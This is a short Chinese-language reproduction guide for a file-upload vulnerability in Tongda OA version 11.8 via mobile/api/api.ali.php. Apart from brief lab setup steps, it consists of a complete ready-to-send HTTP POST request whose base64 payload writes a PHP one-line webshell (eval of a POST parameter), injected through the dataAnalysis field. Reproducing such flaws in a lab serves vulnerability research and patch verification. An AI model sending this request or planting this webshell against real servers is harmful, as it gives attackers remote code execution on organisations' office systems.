通达OA-V11.8-api-ali.php文件上传漏洞复现

1、环境准备

　　下载通达OA-v11.8版本（未打补丁版本）

　　地址：https://cdndown.tongda2000.com/oa/2019/TDOA11.8.exe

　　VMvare_Win7环境

　　安装通达OA11.8(D:/myoa)

　　设置地址：localhost 端口：8081

　　安装完毕，即可访问。

2、复现步骤

　　2.1、向mobile/api/api.ali.phpf发送请求包

1	`ZmlsZV9wdXRfY29udGVudHMoJy4uLy4uL2ZiNjc5MGY0LnBocCcsJzw/cGhwIEBldmFsKCRfUE9TVFsnc2hlbGwnXSk7IGVjaG8ibHVjayI7ID8+Jyk7"<br>进过base64解密，对应出：<br>file_put_contents('../../fb6790f4.php','<?php @eval($_POST['shell']); echo"luck"; ?>');`

　　上传进入一个php文件，也就是一个“一句话木马”

　　完整的请求包如下所示：

POST /mobile/api/api.ali.php HTTP/1.1
Host: 192.168.1.33:8081  #自己如上设置的ip与端口
User-Agent: Go-http-client/1.1
Content-Length: 435
Content-Type: multipart/form-data; boundary=502f67681799b07e4de6b503655f5cae
Accept-Encoding: gzip
 
--502f67681799b07e4de6b503655f5cae
Content-Disposition: form-data; name="file"; filename="fb6790f4.json"
Content-Type: application/octet-stream
 
{"modular":"AllVariable","a":"ZmlsZV9wdXRfY29udGVudHMoJy4uLy4uL2ZiNjc5MGY0LnBocCcsJzw/cGhwIEBldmFsKCRfUE9TVFsnc2hlbGwnXSk7IGVjaG8ibHVjayI7ID8+Jyk7","dataAnalysis":"{\"a\":\"錦',$BackData[dataAnalysis] => eval(base64_decode($BackData[a])));/*\"}"}
--502f67681799b07e4de6b503655f5cae--